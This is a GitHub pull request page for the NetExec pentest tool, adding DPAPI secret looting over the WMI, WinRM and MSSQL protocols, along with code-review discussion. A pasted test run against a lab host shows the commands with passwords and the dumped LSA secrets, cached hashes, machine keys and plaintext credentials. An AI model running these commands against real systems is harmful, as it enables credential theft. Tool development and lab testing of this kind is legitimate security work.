Skip to content

[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols - #1327

Open
zblurx wants to merge 34 commits into
mainfrom
dpapi_upgrade
Open

[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols#1327
zblurx wants to merge 34 commits into
mainfrom
dpapi_upgrade

Conversation

@zblurx

@zblurx zblurx commented Jul 22, 2026

Copy link
Copy Markdown
Collaborator

Description

I recently worked on a big refacto of DPLoot in order to support multiple network protocols.
This PR implements the DPLoot upgrade, also with a big refacto of the DPAPI functionalities in Netexec.

Now, Netexec supports --dpapi in smb (not new), wmi, winrm and mssql protocols (including the DPAPI related database tables for each of them).
The --sccm has also been implemented on wmi protocol

Big update on the DPAPI SYSTEM triage : if the user wants to dump SYSTEM secrets, and therefore the DPAPI SYSTEM Machine and User keys are required, NetExec now calls lsa() function of the network protocol automatically (as you can see in the screenshots). Unfortunately, wmi protocol does not have a pure WMI LSA dump, so no automatic DPAPI SYSTEM keys retrieval in WMI.

A few modules have also been implemented in multiple protocols : dpapi_hash, mobaxterm, mremoteng, rdcman, vnc, wam and wifi

The code has also been refactored in order to implement a better looting methodology : in the case you use multiple DPAPI related functionalities in one command (for example nxc wmi [....] --dpapi -M wam -M rdcman), masterkeys will be dumped once.

You will notice that the dependency is linked to a custom branch of dploot. I prefer it to keep it that way for the testing phase of the PR. Once everything will be validated, I'll push a clean release of dploot and will update the pyproject.toml

Type of change

Insert an "x" inside the brackets for relevant items (do not delete options)

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Deprecation of feature or functionality
  • This change requires a documentation update
  • This requires a third party update (such as Impacket, Dploot, lsassy, etc)
  • This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)

Setup guide for the review

Install GOAD lab and add up a few secrets on some servers

Screenshots (if appropriate):

image image

Checklist:

Insert an "x" inside the brackets for completed and relevant items (do not delete options)

  • I have ran Ruff against my changes (poetry: poetry run ruff check ., use --fix to automatically fix what it can)
  • I have added or updated the tests/e2e_commands.txt file if necessary (new modules or features are required to be added to the e2e tests)
  • If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
  • I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
  • I have performed a self-review of my own code (not an AI review)
  • I have commented my code, particularly in hard-to-understand areas
  • [ 😸 ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

Comment thread nxc/helpers/dpapi.py Fixed
Comment thread nxc/protocols/wmi/database.py Fixed
Comment thread nxc/helpers/dpapi.py Fixed
Comment thread nxc/helpers/dpapi.py Fixed
Comment thread nxc/helpers/dpapi.py Fixed
Comment thread nxc/helpers/dpapi.py Fixed
@NeffIsBack NeffIsBack added the enhancement New feature or request label Jul 22, 2026
Signed-off-by: zblurx <68540460+zblurx@users.noreply.github.com>
Comment thread pyproject.toml
@mpgn

mpgn commented Jul 29, 2026

Copy link
Copy Markdown
Collaborator

Perfecto @zblurx 🎉

 ~/NetExec   dpapi_upgrade $…  uv run nxc smb 10.4.10.22 -u Administrator -p 'NgtI75cKV+Pu' -d north.sevenkingdoms.local --dpapi                                                                  2951ms  Wed 29 Jul 2026 02:51:08 PM CEST
                                  uv run nxc winrm 10.4.10.22 -u Administrator -p 'NgtI75cKV+Pu' -d north.sevenkingdoms.local --dpapi
                                  uv run nxc wmi 10.4.10.22 -u Administrator -p 'NgtI75cKV+Pu' -d north.sevenkingdoms.local --dpapi
                                  uv run nxc mssql 10.4.10.22 -u sql_svc -p 'YouWillNotKerboroast1ngMeeeeee' -d north.sevenkingdoms.local --dpapi
      Built netexec @ file:///home/bonclay/NetExec
Uninstalled 1 package in 0.53ms
Installed 1 package in 1ms
SMB         10.4.10.22      445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False) (Guest Auth:True)
SMB         10.4.10.22      445    CASTELBLACK      [+] north.sevenkingdoms.local\Administrator:NgtI75cKV+Pu (Pwn3d!)
SMB         10.4.10.22      445    CASTELBLACK      [+] Loading domain backupkey from nxcdb...
SMB         10.4.10.22      445    CASTELBLACK      [*] Dumping LSA secrets
SMB         10.4.10.22      445    CASTELBLACK      NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2026-07-15 15:37:05+00:00)
SMB         10.4.10.22      445    CASTELBLACK      NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2026-07-29 11:23:27+00:00)
SMB         10.4.10.22      445    CASTELBLACK      NORTH.SEVENKINGDOMS.LOCAL/arya.stark:$DCC2$10240#arya.stark#e4f865ff201439690e4906f799499271: (2026-07-29 11:23:27+00:00)
SMB         10.4.10.22      445    CASTELBLACK      NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:93d10d0d96f56efcb4cff0bc800b806a15cb728a0271805873309a3395cbcffd
SMB         10.4.10.22      445    CASTELBLACK      NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:72513a882702269dd9f6f4cdaec20a5c
SMB         10.4.10.22      445    CASTELBLACK      NORTH\CASTELBLACK$:des-cbc-md5:6116ef02fb684a7a
SMB         10.4.10.22      445    CASTELBLACK      NORTH\CASTELBLACK$:plain_password_hex:6d003300360060006a00440047004e005d0050005e002f0042007300730020002e0023002c00630027005d00580026002100310032005500680044002b0063005e0056006f00560074005900550038002d002a005b00300062006600250028002b00620068002e004a0044003500700064003800240042004e005b0038003e0029005a00350070004b005700290027003e0048003f004a00350046006400580029005300310036004f006b003a002a0038003f002e0022005a00770045004e005100590025005b0024006e00620057003e0024004200380045003e0021005d005300230048004200430074005c006500
SMB         10.4.10.22      445    CASTELBLACK      NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:77f3a2e33752fd60758d3843a39d985c:::
SMB         10.4.10.22      445    CASTELBLACK      localuser:password
SMB         10.4.10.22      445    CASTELBLACK      dpapi_machinekey:0x394ccf5acd4307369b470a3eb163381a858cca2d
dpapi_userkey:0x99682987514f263d7f87352f4b95de263461b7fc
SMB         10.4.10.22      445    CASTELBLACK      NL$KM:dd19460f1a8c4e00d7c6ec8f18e624a5c29408ec44e0735f7d496d82e12511bac90dc275c49a3514678fe95f62eb4f685dd67661e6e2762de635e9b37883fc7e
SMB         10.4.10.22      445    CASTELBLACK      north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
SMB         10.4.10.22      445    CASTELBLACK      [+] Dumped 12 LSA secrets to /home/bonclay/.nxc/logs/lsa/CASTELBLACK_10.4.10.22_2026-07-29_145114.secrets and /home/bonclay/.nxc/logs/lsa/CASTELBLACK_10.4.10.22_2026-07-29_145114.cached
SMB         10.4.10.22      445    CASTELBLACK      [*] Collecting DPAPI Users masterkeys
SMB         10.4.10.22      445    CASTELBLACK      [*] Collecting DPAPI SYSTEM masterkeys
SMB         10.4.10.22      445    CASTELBLACK      [+] Got 10 decrypted masterkeys. 
SMB         10.4.10.22      445    CASTELBLACK      [+] Looting secrets...
SMB         10.4.10.22      445    CASTELBLACK      [sql_svc][CREDENTIAL] LegacyGeneric:target=mssqltest - north\jon.snow:Ilovemyself123!
SMB         10.4.10.22      445    CASTELBLACK      [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{3CABF6F1-2CC9-453C-B042-C6AB43539DEF} - NORTH\arya.stark:Needle
SMB         10.4.10.22      445    CASTELBLACK      [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{F4614DF2-6F80-4222-AB30-2CC1CA789010} - NORTH\robb.stark:sexywolfy
SMB         10.4.10.22      445    CASTELBLACK      [robb.stark][FIREFOX] https://test.com - roger:Password123
      Built netexec @ file:///home/bonclay/NetExec
Uninstalled 1 package in 0.56ms
Installed 1 package in 1ms
WINRM       10.4.10.22      5985   CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) 
WINRM       10.4.10.22      5985   CASTELBLACK      [+] north.sevenkingdoms.local\Administrator:NgtI75cKV+Pu (Pwn3d!)
WINRM       10.4.10.22      5985   CASTELBLACK      [+] Loading domain backupkey from nxcdb...
WINRM       10.4.10.22      5985   CASTELBLACK      [*] Dumping LSA secrets
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2026-07-15 15:37:05+00:00)
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2026-07-29 11:23:27+00:00)
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH.SEVENKINGDOMS.LOCAL/arya.stark:$DCC2$10240#arya.stark#e4f865ff201439690e4906f799499271: (2026-07-29 11:23:27+00:00)
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:93d10d0d96f56efcb4cff0bc800b806a15cb728a0271805873309a3395cbcffd
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:72513a882702269dd9f6f4cdaec20a5c
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH\CASTELBLACK$:des-cbc-md5:6116ef02fb684a7a
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH\CASTELBLACK$:plain_password_hex:6d003300360060006a00440047004e005d0050005e002f0042007300730020002e0023002c00630027005d00580026002100310032005500680044002b0063005e0056006f00560074005900550038002d002a005b00300062006600250028002b00620068002e004a0044003500700064003800240042004e005b0038003e0029005a00350070004b005700290027003e0048003f004a00350046006400580029005300310036004f006b003a002a0038003f002e0022005a00770045004e005100590025005b0024006e00620057003e0024004200380045003e0021005d005300230048004200430074005c006500
WINRM       10.4.10.22      5985   CASTELBLACK      NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:77f3a2e33752fd60758d3843a39d985c:::
WINRM       10.4.10.22      5985   CASTELBLACK      (Unknown User):password
WINRM       10.4.10.22      5985   CASTELBLACK      dpapi_machinekey:0x394ccf5acd4307369b470a3eb163381a858cca2d
dpapi_userkey:0x99682987514f263d7f87352f4b95de263461b7fc
WINRM       10.4.10.22      5985   CASTELBLACK      NL$KM:dd19460f1a8c4e00d7c6ec8f18e624a5c29408ec44e0735f7d496d82e12511bac90dc275c49a3514678fe95f62eb4f685dd67661e6e2762de635e9b37883fc7e
WINRM       10.4.10.22      5985   CASTELBLACK      (Unknown User):YouWillNotKerboroast1ngMeeeeee
WINRM       10.4.10.22      5985   CASTELBLACK      [*] Collecting DPAPI Users masterkeys
WINRM       10.4.10.22      5985   CASTELBLACK      [*] Collecting DPAPI SYSTEM masterkeys
WINRM       10.4.10.22      5985   CASTELBLACK      [+] Got 10 decrypted masterkeys. 
WINRM       10.4.10.22      5985   CASTELBLACK      [+] Looting secrets...
WINRM       10.4.10.22      5985   CASTELBLACK      [sql_svc][CREDENTIAL] LegacyGeneric:target=mssqltest - north\jon.snow:Ilovemyself123!
WINRM       10.4.10.22      5985   CASTELBLACK      [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{3CABF6F1-2CC9-453C-B042-C6AB43539DEF} - NORTH\arya.stark:Needle
WINRM       10.4.10.22      5985   CASTELBLACK      [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{F4614DF2-6F80-4222-AB30-2CC1CA789010} - NORTH\robb.stark:sexywolfy
WINRM       10.4.10.22      5985   CASTELBLACK      [robb.stark][FIREFOX] https://test.com - roger:Password123
      Built netexec @ file:///home/bonclay/NetExec
Uninstalled 1 package in 0.70ms
Installed 1 package in 1ms
RPC         10.4.10.22      135    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local)
WMI         10.4.10.22      135    CASTELBLACK      [+] north.sevenkingdoms.local\Administrator:NgtI75cKV+Pu (Pwn3d!)
WMI         10.4.10.22      135    CASTELBLACK      [+] Loading domain backupkey from nxcdb...
WMI         10.4.10.22      135    CASTELBLACK      [*] Collecting DPAPI Users masterkeys
WMI         10.4.10.22      135    CASTELBLACK      [+] Got 2 decrypted masterkeys. 
WMI         10.4.10.22      135    CASTELBLACK      [+] Looting secrets...
WMI         10.4.10.22      135    CASTELBLACK      [sql_svc][CREDENTIAL] LegacyGeneric:target=mssqltest - north\jon.snow:Ilovemyself123!
WMI         10.4.10.22      135    CASTELBLACK      [robb.stark][FIREFOX] https://test.com - roger:Password123
      Built netexec @ file:///home/bonclay/NetExec
Uninstalled 1 package in 0.57ms
Installed 1 package in 1ms
MSSQL       10.4.10.22      1433   CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (2019 RTM 15.0.2000) (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (EncryptionReq:False) 
MSSQL       10.4.10.22      1433   CASTELBLACK      [+] north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)
MSSQL       10.4.10.22      1433   CASTELBLACK      [-] SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.
MSSQL       10.4.10.22      1433   CASTELBLACK      [*] Collecting DPAPI Users masterkeys
MSSQL       10.4.10.22      1433   CASTELBLACK      [+] Got 1 decrypted masterkeys. 
MSSQL       10.4.10.22      1433   CASTELBLACK      [+] Looting secrets...
MSSQL       10.4.10.22      1433   CASTELBLACK      [sql_svc][CREDENTIAL] LegacyGeneric:target=mssqltest - north\jon.snow:Ilovemyself123!

@NeffIsBack NeffIsBack left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR is actually a really good example on how to properly standardize file/registry access across protocols. We should probably implement something like that in NetExec as well to extend cross-protocol support for modules. E.g. cross-protocol support for spidering.

A few notes throughout the review:

  • Maybe we should move all of the DPAPI logic into something like /helpers/dpapi/ so it has its own folder. Gets quite a lot :D
  • Firefox does not seem to be supported for WinRM at the moment. Was this intentional or is this a bug? Looking at the screenshot of @mpgn, looks like a bug related to my system?
Image

Fyi, since we already have dpapi_machinekey detection logic I fixed this weird two-line output that impacket gives back as a string. Before&After (in one screenshot):

Image

Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated

# The dpapi function for every protocol
def triage_dpapi(self):
self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason for opening the file here and closing&then reopening it down below? This looks like to me as if we could just remove that here

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The logic here is to open the handle, then all the triage functions can use it. The part that is weird is on 342-346 :

        if self.output_file:
            self.output_file.close()
            with open(self.context.output_file_template.format(output_folder="dpapi")) as f:
                if sum(1 for _ in f) == 0:
                    self.context.logger.fail("No dpapi loot retrieved")

TBH I don't remember having implemented this, and I don't get the logic. I have blindly copy pasted this from old smb.py dpapi routine, but this needs to be rewritten

@zblurx zblurx Aug 2, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have added a counter to keep track if triage functions are giving anything.

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm okay, imo we should then:

  • Store the filename as a variable
  • Everywhere that we want to write to the file simply do with open(self.output_file) as f: f.write(xyz)

Then we have the same behaviour but without having file handles dangling around that are potentially never closed.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You are right, it is cleaner. I'm working on it

@zblurx zblurx Aug 25, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have implemented a solution with a function to handle the output_file management in coordination with the counter. I moved the logging text with the output file name to a __del__ function to have it implemented in every DPAPI looting (not just the --dpapi stuff, all others too)

Comment thread nxc/modules/dpapi_hash.py Outdated
Comment thread nxc/protocols/wmi/database.py Outdated
Comment thread nxc/protocols/wmi/database.py Dismissed
@NeffIsBack NeffIsBack mentioned this pull request Aug 16, 2026
14 tasks
Comment thread nxc/helpers/dpapi.py
Comment on lines +146 to +154
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
plaintexts = {username: password for _, _, username, password, _, _ in self.context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.context.db.get_credentials(cred_type="hash")}
# dploot matches user.lower()
if self.context.password != "":
plaintexts[self.context.username.lower()] = self.context.password
if self.context.nthash != "":
nthashes[self.context.username.lower()] = self.context.nthash

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We don't do this so far right? Honestly I am not sure how we would integrate it without potentially overloading systems. In my mind I am running around on a pentest with some nxcdb holding >5k nt hashes from my ntds dump. If I then run --dpapi (or something similar) against a large network range we would do AES encryptions for thousands of NT hashes against hundreds of hosts.

I think that is a bit too much since we are basically bruteforcing the master key files with the NT hashes as wordlist at this point. Maybe an integration with a specific flag could be possible, but other than that imo it's not feasible.

Comment thread nxc/helpers/dpapi.py Outdated

# The dpapi function for every protocol
def triage_dpapi(self):
self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm okay, imo we should then:

  • Store the filename as a variable
  • Everywhere that we want to write to the file simply do with open(self.output_file) as f: f.write(xyz)

Then we have the same behaviour but without having file handles dangling around that are potentially never closed.

Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment thread nxc/helpers/dpapi.py Outdated
Comment on lines +143 to +150
# Now prepare the SYSTEM part
if (dump_system
and self.context.dpapi_system_key is None
and hasattr(self.context, "lsa")
and callable(self.context.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.context.lsa()

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actually calling lsa() itself is very noisy. Maybe we should implement some def lsa(self, quiet=False) mode to mute the highlight log messages? Thoughts

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree with you, gonna work on something

@zblurx zblurx Aug 25, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Implemented. For now, when quiet is True, there will be no log message generated by lsa() function at all. Maybe we still want the Dumping LSA Secrets message, so that the user know what is hapenning ?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I added a display log showing that nxc is dumping LSA to get DPAPI SYSTEM keys, and showing the keys if successfully dumped, otherwise showing a fail log

Comment thread nxc/helpers/dpapi.py
Comment on lines +146 to +154
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
plaintexts = {username: password for _, _, username, password, _, _ in self.context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.context.db.get_credentials(cred_type="hash")}
# dploot matches user.lower()
if self.context.password != "":
plaintexts[self.context.username.lower()] = self.context.password
if self.context.nthash != "":
nthashes[self.context.username.lower()] = self.context.nthash

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just saw that this was always the case? Is this the default since the beginning? I guess if we already do it this way...

Comment thread nxc/protocols/smb.py Outdated
@zblurx

zblurx commented Aug 25, 2026

Copy link
Copy Markdown
Collaborator Author

I think it's redundant to have a table to store DPAPI secrets and domain backup key in every protocol database. Maybe we should implement a dedicated dpapi database that would be shared between protocols ? Could be nice, especially for the domain backup key sharing between protocols. What do you think @NeffIsBack ? Maybe in another PR tho

@Marshall-Hallenbeck

Copy link
Copy Markdown
Collaborator

I think it's redundant to have a table to store DPAPI secrets and domain backup key in every protocol database. Maybe we should implement a dedicated dpapi database that would be shared between protocols ? Could be nice, especially for the domain backup key sharing between protocols. What do you think @NeffIsBack ? Maybe in another PR tho

Each protocol is its own sqlite database file so you can run multiple protocols at the same time without them running into write issues, so we'd need to look into fixing that first.

@NeffIsBack NeffIsBack mentioned this pull request Aug 25, 2026
14 tasks
@NeffIsBack

Copy link
Copy Markdown
Member

Yeah at the moment we only load the protocol specific database with no access to others, so there is no way of cross-protocol database access. I guess we could always load some additional "dpapi database" tho, but yeah additional PR if we would like to do that.

Fyi, we need to revert #1378 in here so we always install dploot >4.0.0.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement New feature or request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants